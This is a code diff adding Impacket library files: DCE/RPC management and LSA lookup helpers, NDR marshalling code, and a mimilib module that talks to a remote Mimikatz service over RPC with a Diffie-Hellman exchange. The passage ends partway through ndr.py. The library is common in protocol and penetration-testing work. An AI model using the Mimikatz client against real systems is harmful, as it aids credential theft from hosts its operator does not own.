+    request['Count'] = len(names)
+    for name in names:
+        itemn = RPC_UNICODE_STRING()
+        itemn['Data'] = name
+        request['Names'].append(itemn)
+    request['TranslatedSids']['Sids'] = NULL
+    request['LookupLevel'] = lookupLevel
+
+    return dce.request(request)
+
+def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
+    request = LsarLookupSids2()
+    request['PolicyHandle'] = policyHandle
+    request['SidEnumBuffer']['Entries'] = len(sids)
+    for sid in sids:
+        itemn = LSAPR_SID_INFORMATION()
+        itemn['Sid'].fromCanonical(sid)
+        request['SidEnumBuffer']['SidInfo'].append(itemn)
+
+    request['TranslatedNames']['Names'] = NULL
+    request['LookupLevel'] = lookupLevel
+    request['LookupOptions'] = lookupOptions
+    request['ClientRevision'] = clientRevision
+
+    return dce.request(request)
+
+def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
+    request = LsarLookupSids()
+    request['PolicyHandle'] = policyHandle
+    request['SidEnumBuffer']['Entries'] = len(sids)
+    for sid in sids:
+        itemn = LSAPR_SID_INFORMATION()
+        itemn['Sid'].fromCanonical(sid)
+        request['SidEnumBuffer']['SidInfo'].append(itemn)
+
+    request['TranslatedNames']['Names'] = NULL
+    request['LookupLevel'] = lookupLevel
+
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/mgmt.py b/impacket/dcerpc/v5/mgmt.py
new file mode 100644
index 0000000..d31b497
--- /dev/null
+++ b/impacket/dcerpc/v5/mgmt.py
@@ -0,0 +1,169 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [C706] Remote Management Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray
+from impacket.dcerpc.v5.epm import PRPC_IF_ID
+from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+from impacket import nt_errors
+
+MSRPC_UUID_MGMT  = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 
+            return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+class rpc_if_id_p_t_array(NDRUniConformantArray):
+    item = PRPC_IF_ID
+
+class rpc_if_id_vector_t(NDRSTRUCT):
+    structure = (
+        ('count',ULONG),
+        ('if_id',rpc_if_id_p_t_array),
+    )
+    structure64 = (
+        ('count',ULONGLONG),
+        ('if_id',rpc_if_id_p_t_array),
+    )
+
+class rpc_if_id_vector_p_t(NDRPOINTER):
+    referent = (
+        ('Data', rpc_if_id_vector_t),
+    )
+
+error_status = ULONG
+################################################################################
+# STRUCTURES
+################################################################################
+
+################################################################################
+# RPC CALLS
+################################################################################
+class inq_if_ids(NDRCALL):
+    opnum = 0
+    structure = (
+    )
+
+class inq_if_idsResponse(NDRCALL):
+    structure = (
+       ('if_id_vector', rpc_if_id_vector_p_t),
+       ('status', error_status),
+    )
+
+class inq_stats(NDRCALL):
+    opnum = 1
+    structure = (
+       ('count', ULONG),
+    )
+
+class inq_statsResponse(NDRCALL):
+    structure = (
+       ('count', ULONG),
+       ('statistics', DWORD_ARRAY),
+       ('status', error_status),
+    )
+
+class is_server_listening(NDRCALL):
+    opnum = 2
+    structure = (
+    )
+
+class is_server_listeningResponse(NDRCALL):
+    structure = (
+       ('status', error_status),
+    )
+
+class stop_server_listening(NDRCALL):
+    opnum = 3
+    structure = (
+    )
+
+class stop_server_listeningResponse(NDRCALL):
+    structure = (
+       ('status', error_status),
+    )
+
+class inq_princ_name(NDRCALL):
+    opnum = 4
+    structure = (
+       ('authn_proto', ULONG),
+       ('princ_name_size', ULONG),
+    )
+
+class inq_princ_nameResponse(NDRCALL):
+    structure = (
+       ('princ_name', NDRUniConformantVaryingArray),
+       ('status', error_status),
+    )
+
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (inq_if_ids, inq_if_idsResponse),
+ 1 : (inq_stats, inq_statsResponse),
+ 2 : (is_server_listening, is_server_listeningResponse),
+ 3 : (stop_server_listening, stop_server_listeningResponse),
+ 4 : (inq_princ_name, inq_princ_nameResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hinq_if_ids(dce):
+    request = inq_if_ids()
+    return dce.request(request)
+
+def hinq_stats(dce, count = 4):
+    request = inq_stats()
+    request['count'] = count
+    return dce.request(request)
+
+def his_server_listening(dce):
+    request = is_server_listening()
+    return dce.request(request, checkError=False)
+
+def hstop_server_listening(dce):
+    request = stop_server_listening()
+    return dce.request(request)
+
+def hinq_princ_name(dce, authn_proto=0, princ_name_size=1):
+    request = inq_princ_name()
+    request['authn_proto'] = authn_proto
+    request['princ_name_size'] = princ_name_size
+    return dce.request(request, checkError=False)
diff --git a/impacket/dcerpc/v5/mimilib.py b/impacket/dcerpc/v5/mimilib.py
new file mode 100644
index 0000000..e20a3cc
--- /dev/null
+++ b/impacket/dcerpc/v5/mimilib.py
@@ -0,0 +1,239 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Mimikatz Interface implementation, based on @gentilkiwi IDL
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+import binascii
+import random
+
+from impacket import nt_errors
+from impacket.dcerpc.v5.dtypes import DWORD, ULONG
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+from impacket.structure import Structure
+
+MSRPC_UUID_MIMIKATZ   = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 
+            return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+CALG_DH_EPHEM = 0x0000aa02
+TPUBLICKEYBLOB = 0x6
+CUR_BLOB_VERSION = 0x2
+ALG_ID = DWORD
+CALG_RC4 = 0x6801
+
+################################################################################
+# STRUCTURES
+################################################################################
+class PUBLICKEYSTRUC(Structure):
+    structure = (
+        ('bType','B=0'),
+        ('bVersion','B=0'),
+        ('reserved','<H=0'),
+        ('aiKeyAlg','<L=0'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self,data,alignment)
+        self['bType'] = TPUBLICKEYBLOB
+        self['bVersion'] = CUR_BLOB_VERSION
+        self['aiKeyAlg'] = CALG_DH_EPHEM
+
+class DHPUBKEY(Structure):
+    structure = (
+        ('magic','<L=0'),
+        ('bitlen','<L=0'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self,data,alignment)
+        self['magic'] = 0x31484400
+        self['bitlen'] = 1024
+
+class PUBLICKEYBLOB(Structure):
+    structure = (
+        ('publickeystruc',':', PUBLICKEYSTRUC),
+        ('dhpubkey',':', DHPUBKEY),
+        ('yLen', '_-y','128'),
+        ('y',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self,data,alignment)
+        self['publickeystruc'] = PUBLICKEYSTRUC().getData()
+        self['dhpubkey'] = DHPUBKEY().getData()
+
+class MIMI_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=""'),
+    )
+    def getAlignment(self):
+        if self._isNDR64 is True:
+            return 8
+        else:
+            return 4
+
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',BYTE_ARRAY),
+    )
+
+class MIMI_PUBLICKEY(NDRSTRUCT):
+    structure =  (
+        ('sessionType',ALG_ID),
+        ('cbPublicKey',DWORD),
+        ('pbPublicKey',PBYTE_ARRAY),
+    )
+
+class PMIMI_PUBLICKEY(NDRPOINTER):
+    referent = (
+        ('Data',MIMI_PUBLICKEY),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+class MimiBind(NDRCALL):
+    opnum = 0
+    structure = (
+       ('clientPublicKey',MIMI_PUBLICKEY),
+    )
+
+class MimiBindResponse(NDRCALL):
+    structure = (
+       ('serverPublicKey',MIMI_PUBLICKEY),
+       ('phMimi',MIMI_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class MimiUnbind(NDRCALL):
+    opnum = 1
+    structure = (
+       ('phMimi',MIMI_HANDLE),
+    )
+
+class MimiUnbindResponse(NDRCALL):
+    structure = (
+       ('phMimi',MIMI_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class MimiCommand(NDRCALL):
+    opnum = 2
+    structure = (
+        ('phMimi',MIMI_HANDLE),
+        ('szEncCommand',DWORD),
+        ('encCommand',PBYTE_ARRAY),
+    )
+
+class MimiCommandResponse(NDRCALL):
+    structure = (
+       ('szEncResult',DWORD),
+       ('encResult',PBYTE_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (MimiBind, MimiBindResponse),
+ 1 : (MimiUnbind, MimiUnbindResponse),
+ 2 : (MimiCommand, MimiCommandResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+
+class MimiDiffeH:
+    def __init__(self):
+        self.G = 2
+        self.P = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF
+        self.privateKey = random.getrandbits(1024)
+        #self.privateKey = int('A'*128, base=16)
+
+    def genPublicKey(self):
+        self.publicKey = pow(self.G, self.privateKey, self.P)
+        tmp = hex(self.publicKey)[2:].rstrip('L')
+        if len(tmp) & 1:
+            tmp = '0' + tmp
+        return binascii.unhexlify(tmp)
+
+    def getSharedSecret(self, serverPublicKey):
+        pubKey = int(binascii.hexlify(serverPublicKey), base=16)
+        self.sharedSecret = pow(pubKey, self.privateKey, self.P)
+        tmp = hex(self.sharedSecret)[2:].rstrip('L')
+        if len(tmp) & 1:
+            tmp = '0' + tmp
+        return binascii.unhexlify(tmp)
+
+
+def hMimiBind(dce, clientPublicKey):
+    request = MimiBind()
+    request['clientPublicKey'] = clientPublicKey
+    return dce.request(request)
+
+def hMimiCommand(dce, phMimi, encCommand):
+    request = MimiCommand()
+    request['phMimi'] = phMimi
+    request['szEncCommand'] = len(encCommand)
+    request['encCommand'] = list(encCommand)
+    return dce.request(request)
+
+if __name__ == '__main__':
+    from impacket.winregistry import hexdump
+    alice = MimiDiffeH()
+    alice.G = 5
+    alice.P = 23
+    alice.privateKey = 6
+
+    bob = MimiDiffeH()
+    bob.G = 5
+    bob.P = 23
+    bob.privateKey = 15
+
+    print('Alice pubKey')
+    hexdump(alice.genPublicKey())
+    print('Bob pubKey')
+    hexdump(bob.genPublicKey())
+
+    print('Secret')
+    hexdump(alice.getSharedSecret(bob.genPublicKey()))
+    hexdump(bob.getSharedSecret(alice.genPublicKey()))
diff --git a/impacket/dcerpc/v5/ndr.py b/impacket/dcerpc/v5/ndr.py
new file mode 100644
index 0000000..d8f074f
--- /dev/null
+++ b/impacket/dcerpc/v5/ndr.py
@@ -0,0 +1,1718 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [C706] Transfer NDR Syntax implementation
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [X] Unions and rest of the structured types
+#   [ ] Documentation for this library, especially the support for Arrays
+#
+from __future__ import division
+from __future__ import print_function
+import random
+import inspect
+from struct import pack, unpack_from, calcsize
+from six import with_metaclass, PY3
+
+from impacket import LOG
+from impacket.dcerpc.v5.enum import Enum
+from impacket.uuid import uuidtup_to_bin
+
+# Something important to have in mind:
+# Diagrams do not depict the specified alignment gaps, which can appear in the octet stream
+# before an item (see Section 14.2.2 on page 620.)
+# Where necessary, an alignment gap, consisting of octets of unspecified value, *precedes* the
+# representation of a primitive. The gap is of the smallest size sufficient to align the primitive
+
+class NDR(object):
+    """
+    This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type
+    """
+    referent       = ()
+    commonHdr      = ()
+    commonHdr64    = ()
+    structure      = ()
+    structure64    = ()
+    align          = 4
+    item           = None
+    _isNDR64       = False
+
+    def __init__(self, data = None, isNDR64 = False):
+        object.__init__(self)
+        self._isNDR64 = isNDR64
+        self.fields = {}
+
+        if isNDR64 is True:
+            if self.commonHdr64 != ():
+                self.commonHdr = self.commonHdr64
+            if self.structure64 != ():
+                self.structure = self.structure64
+            if hasattr(self, 'align64'):
+                self.align = self.align64
+
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
+            if self.isNDR(fieldTypeOrClass):
+               self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
+            elif fieldTypeOrClass == ':':
+               self.fields[fieldName] = b''
+            elif len(fieldTypeOrClass.split('=')) == 2: 
+               try:
+                   self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])
+               except:
+                   self.fields[fieldName] = None
+            else:
+               self.fields[fieldName] = []
+
+        if data is not None:
+            self.fromString(data)
+
+    def changeTransferSyntax(self, newSyntax): 
+        NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
+        if newSyntax == NDR64Syntax:
+            if self._isNDR64 is False:
+                # Ok, let's change everything
+                self._isNDR64 = True
+                for fieldName in list(self.fields.keys()):
+                    if isinstance(self.fields[fieldName], NDR):
+                        self.fields[fieldName].changeTransferSyntax(newSyntax)
+                # Finally, I change myself
+                if self.commonHdr64 != ():
+                    self.commonHdr = self.commonHdr64
+                if self.structure64 != ():
+                    self.structure = self.structure64
+                if hasattr(self, 'align64'):
+                    self.align = self.align64
+                # And check whether the changes changed the data types
+                # if so, I need to instantiate the new ones and copy the
+                # old values
+                for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
+                    if isinstance(self.fields[fieldName], NDR):
+                        if fieldTypeOrClass != self.fields[fieldName].__class__ and isinstance(self.fields[fieldName], NDRPOINTERNULL) is False:
+                            backupData = self[fieldName]
+                            self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
+                            if 'Data' in self.fields[fieldName].fields:
+                                self.fields[fieldName].fields['Data'] = backupData
+                            else:
+                                self[fieldName] = backupData
+  
+        else:
+            if self._isNDR64 is True:
+                # Ok, nothing for now
+                raise Exception('Shouldn\'t be here')
+
+    def __setitem__(self, key, value):
+        if isinstance(value, NDRPOINTERNULL):
+            value = NDRPOINTERNULL(isNDR64 = self._isNDR64)
+            if isinstance(self.fields[key], NDRPOINTER):
+                self.fields[key] = value
+            elif 'Data' in self.fields[key].fields:
+                if isinstance(self.fields[key].fields['Data'], NDRPOINTER):
+                    self.fields[key].fields['Data'] = value
+        elif isinstance(value, NDR):
+            # It's not a null pointer, ok. Another NDR type, but it 
+            # must be the same same as the iteam already in place
+            if self.fields[key].__class__.__name__ == value.__class__.__name__:
+                self.fields[key] = value
+            elif isinstance(self.fields[key]['Data'], NDR):
+                if self.fields[key]['Data'].__class__.__name__ == value.__class__.__name__:
+                    self.fields[key]['Data'] = value
+                else:
+                    LOG.error("Can't setitem with class specified, should be %s" % self.fields[key]['Data'].__class__.__name__)
+            else:
+                LOG.error("Can't setitem with class specified, should be %s" % self.fields[key].__class__.__name__)
+        elif isinstance(self.fields[key], NDR):
+            self.fields[key]['Data'] = value
+        else:
+            self.fields[key] = value
+
+    def __getitem__(self, key):
+        if isinstance(self.fields[key], NDR):
+            if 'Data' in self.fields[key].fields:
+                return self.fields[key]['Data']
+        return self.fields[key]
+
+    def __str__(self):
+        return self.getData()
+
+    def __len__(self):
+        # XXX: improve
+        return len(self.getData())
+
+    def getDataLen(self, data, offset=0):
+        return len(data) - offset
+
+    @staticmethod
+    def isNDR(field):
+        if inspect.isclass(field):
+            myClass = field
+            if issubclass(myClass, NDR):
+                return True
+        return False
+
+    def dumpRaw(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        ind = ' '*indent
+        print("\n%s" % msg)
+        for field in self.commonHdr+self.structure+self.referent:
+            i = field[0] 
+            if i in self.fields:
+                if isinstance(self.fields[i], NDR):
+                    self.fields[i].dumpRaw('%s%s:{' % (ind,i), indent = indent + 4)
+                    print("%s}" % ind)
+
+                elif isinstance(self.fields[i], list):
+                    print("%s[" % ind)
+                    for num,j in enumerate(self.fields[i]):
+                       if isinstance(j, NDR):
+                           j.dumpRaw('%s%s:' % (ind,i), indent = indent + 4)
+                           print("%s," % ind)
+                       else:
+                           print("%s%s: {%r}," % (ind, i, j))
+                    print("%s]" % ind)
+
+                else:
+                    print("%s%s: {%r}" % (ind,i,self[i]))
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        ind = ' '*indent
+        if msg != '':
+            print("%s" % msg, end=' ')
+        for fieldName, fieldType in self.commonHdr+self.structure+self.referent:
+            if fieldName in self.fields:
+                if isinstance(self.fields[fieldName], NDR):
+                    self.fields[fieldName].dump('\n%s%-31s' % (ind, fieldName+':'), indent = indent + 4),
+                else:
+                    print(" %r" % (self[fieldName]), end=' ')
+
+    def getAlignment(self):
+        return self.align
+
+    @staticmethod
+    def calculatePad(fieldType, soFar):
+        if isinstance(fieldType, str):
+            try:
+                alignment = calcsize(fieldType.split('=')[0])
+            except:
+                alignment = 0
+        else:
+            alignment = 0
+
+        if alignment > 0:
+            pad = (alignment - (soFar % alignment)) % alignment
+        else:
+            pad = 0
+
+        return pad
+
+    def getData(self, soFar = 0):
+        data = b''
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                # Alignment of Primitive Types
+
+                # NDR enforces NDR alignment of primitive data; that is, any primitive of size n
+                # octets is aligned at a octet stream index that is a multiple of n.
+                # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates
+                # the number of an octet in an octet stream when octets are numbered, beginning with 0,
+                # from the first octet in the stream. Where necessary, an alignment gap, consisting of
+                # octets of unspecified value, precedes the representation of a primitive. The gap is
+                # of the smallest size sufficient to align the primitive.
+                pad = self.calculatePad(fieldTypeOrClass, soFar)
+                if pad > 0:
+                    soFar += pad
+                    data += b'\xbf'*pad
+
+                res = self.pack(fieldName, fieldTypeOrClass, soFar)
+
+                data += res
+                soFar += len(res)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        return data
+
+    def fromString(self, data, offset=0):
+        offset0 = offset
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                # Alignment of Primitive Types
+
+                # NDR enforces NDR alignment of primitive data; that is, any primitive of size n
+                # octets is aligned at a octet stream index that is a multiple of n.
+                # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates
+                # the number of an octet in an octet stream when octets are numbered, beginning with 0,
+                # from the first octet in the stream. Where necessary, an alignment gap, consisting of
+                # octets of unspecified value, precedes the representation of a primitive. The gap is
+                # of the smallest size sufficient to align the primitive.
+                offset += self.calculatePad(fieldTypeOrClass, offset)
+
+                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+        return offset - offset0
+
+    def pack(self, fieldName, fieldTypeOrClass, soFar = 0):
+        if isinstance(self.fields[fieldName], NDR):
+            return self.fields[fieldName].getData(soFar)
+
+        data = self.fields[fieldName]
+        # void specifier
+        if fieldTypeOrClass[:1] == '_':
+            return b''
+
+        # code specifier
+        two = fieldTypeOrClass.split('=')
+        if len(two) >= 2:
+            try:
+                return self.pack(fieldName, two[0], soFar)
+            except:
+                self.fields[fieldName] = eval(two[1], {}, self.fields)
+                return self.pack(fieldName, two[0], soFar)
+
+        if data is None:
+            raise Exception('Trying to pack None')
+
+        # literal specifier
+        if fieldTypeOrClass[:1] == ':':
+            if hasattr(data, 'getData'):
+                return data.getData()
+            return data
+
+        # struct like specifier
+        return pack(fieldTypeOrClass, data)
+
+    def unpack(self, fieldName, fieldTypeOrClass, data, offset=0):
+        if isinstance(self.fields[fieldName], NDR):
+            return self.fields[fieldName].fromString(data, offset)
+
+        # code specifier
+        two = fieldTypeOrClass.split('=')
+        if len(two) >= 2:
+            return self.unpack(fieldName, two[0], data, offset)
+
+        # literal specifier
+        if fieldTypeOrClass == ':':
+            if isinstance(fieldTypeOrClass, NDR):
+                return self.fields[fieldName].fromString(data, offset)
+            else:
+                dataLen = self.getDataLen(data, offset)
+                self.fields[fieldName] =  data[offset:offset+dataLen]
+                return dataLen
+
+        # struct like specifier
+        self.fields[fieldName] = unpack_from(fieldTypeOrClass, data, offset)[0]
+
+        return calcsize(fieldTypeOrClass)
+
+    def calcPackSize(self, fieldTypeOrClass, data):
+        if isinstance(fieldTypeOrClass, str) is False:
+            return len(data)
+
+        # code specifier
+        two = fieldTypeOrClass.split('=')
+        if len(two) >= 2:
+            return self.calcPackSize(two[0], data)
+
+        # literal specifier
+        if fieldTypeOrClass[:1] == ':':
+            return len(data)
+
+        # struct like specifier
+        return calcsize(fieldTypeOrClass)
+
+    def calcUnPackSize(self, fieldTypeOrClass, data, offset=0):
+        if isinstance(fieldTypeOrClass, str) is False:
+            return len(data) - offset
+
+        # code specifier
+        two = fieldTypeOrClass.split('=')
+        if len(two) >= 2:
+            return self.calcUnPackSize(two[0], data, offset)
+
+        # array specifier
+        two = fieldTypeOrClass.split('*')
+        if len(two) == 2:
+            return len(data) - offset
+
+        # literal specifier
+        if fieldTypeOrClass[:1] == ':':
+            return len(data) - offset
+
+        # struct like specifier
+        return calcsize(fieldTypeOrClass)
+
+# NDR Primitives
+class NDRSMALL(NDR):
+    align = 1
+    structure = (
+        ('Data', 'b=0'),
+    )
+
+class NDRUSMALL(NDR):
+    align = 1
+    structure = (
+        ('Data', 'B=0'),
+    )
+
+class NDRBOOLEAN(NDRSMALL):
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print(msg, end=' ')
+
+        if self['Data'] > 0:
+            print(" TRUE")
+        else:
+            print(" FALSE")
+
+class NDRCHAR(NDR):
+    align = 1
+    structure = (
+        ('Data', 'c'),
+    )
+
+class NDRSHORT(NDR):
+    align = 2
+    structure = (
+        ('Data', '<h=0'),
+    )
+
+class NDRUSHORT(NDR):
+    align = 2
+    structure = (
+        ('Data', '<H=0'),
+    )
+
+class NDRLONG(NDR):
+    align = 4
+    structure = (
+        ('Data', '<l=0'),
+    )
+
+class NDRULONG(NDR):
+    align = 4
+    structure = (
+        ('Data', '<L=0'),
+    )
+
+class NDRHYPER(NDR):
+    align = 8
+    structure = (
+        ('Data', '<q=0'),
+    )
+
+class NDRUHYPER(NDR):
+    align = 8
+    structure = (
+        ('Data', '<Q=0'),
+    )
+
+class NDRFLOAT(NDR):
+    align = 4
+    structure = (
+        ('Data', '<f=0'),
+    )
+
+class NDRDOUBLEFLOAT(NDR):
+    align = 8
+    structure = (
+        ('Data', '<d=0'),
+    )
+
+class EnumType(type):
+    def __getattr__(self, attr):
+        return self.enumItems[attr].value
+
+class NDRENUM(with_metaclass(EnumType, NDR)):
+    align = 2
+    align64 = 4
+    structure = (
+        ('Data', '<H'),
+    )
+
+    # 2.2.5.2 NDR64 Simple Data Types
+    # NDR64 supports all simple types defined by NDR (as specified in [C706] section 14.2)
+    # with the same alignment requirements except for enumerated types, which MUST be 
+    # represented as signed long integers (4 octets) in NDR64.
+    structure64 = (
+        ('Data', '<L'),
+    )
+    # enum MUST be an python enum (see enum.py)
+    class enumItems(Enum):
+        pass
+
+    def __setitem__(self, key, value):
+       if isinstance(value, Enum):
+           self['Data'] = value.value
+       else:
+           return NDR.__setitem__(self,key,value)
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print(msg, end=' ')
+
+        print(" %s" % self.enumItems(self.fields['Data']).name, end=' ')
+
+# NDR Constructed Types (arrays, strings, structures, unions, variant structures, pipes and pointers)
+class NDRCONSTRUCTEDTYPE(NDR):
+    @staticmethod
+    def isPointer(field):
+        if inspect.isclass(field):
+            myClass = field
+            if issubclass(myClass, NDRPOINTER):
+                return True
+        return False
+
+    @staticmethod
+    def isUnion(field):
+        if inspect.isclass(field):
+            myClass = field
+            if issubclass(myClass, NDRUNION):
+                return True
+        return False
+
+    def getDataReferents(self, soFar = 0):
+        data = b''
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
+               data += self.fields[fieldName].getDataReferents(len(data)+soFar)
+               data += self.fields[fieldName].getDataReferent(len(data)+soFar)
+        return data
+
+    def getDataReferent(self, soFar=0):
+        data = b''
+        soFar0 = soFar
+        if hasattr(self,'referent') is False:
+            return b''
+
+        if 'ReferentID' in self.fields:
+            if self['ReferentID'] == 0:
+                return b''
+
+        for fieldName, fieldTypeOrClass in self.referent:
+            try:
+                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
+                    # So we have an array, first item in the structure must be the array size, although we
+                    # will need to build it later.
+                    if self._isNDR64:
+                        arrayItemSize = 8
+                        arrayPackStr = '<Q'
+                    else:
+                        arrayItemSize = 4
+                        arrayPackStr = '<L'
+
+                    # The size information is itself aligned according to the alignment rules for
+                    # primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed
+                    # type is then aligned according to the alignment rules for the constructed type.
+                    # In other words, the size information precedes the structure and is aligned
+                    # independently of the structure alignment.
+                    # We need to check whether we need padding or not
+                    pad0 = (arrayItemSize - (soFar % arrayItemSize)) % arrayItemSize
+                    if pad0 > 0:
+                        soFar += pad0
+                        arrayPadding = b'\xef'*pad0
+                    else:
+                        arrayPadding = b''
+                    # And now, let's pretend we put the item in
+                    soFar += arrayItemSize
+                    data = self.fields[fieldName].getData(soFar)
+                    data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data
+                else:
+                    pad = self.calculatePad(fieldTypeOrClass, soFar)
+                    if pad > 0:
+                        soFar += pad
+                        data += b'\xcc'*pad
+
+                    data += self.pack(fieldName, fieldTypeOrClass, soFar)
+
+                # Any referent information to pack?
+                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
+                    data += self.fields[fieldName].getDataReferents(soFar0 + len(data))
+                    data += self.fields[fieldName].getDataReferent(soFar0 + len(data))
+                soFar = soFar0 + len(data)
+
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        return data
+
+    def calcPackSize(self, fieldTypeOrClass, data):
+        if isinstance(fieldTypeOrClass, str) is False:
+            return len(data)
+
+        # array specifier
+        two = fieldTypeOrClass.split('*')
+        if len(two) == 2:
+            answer = 0
+            for each in data:
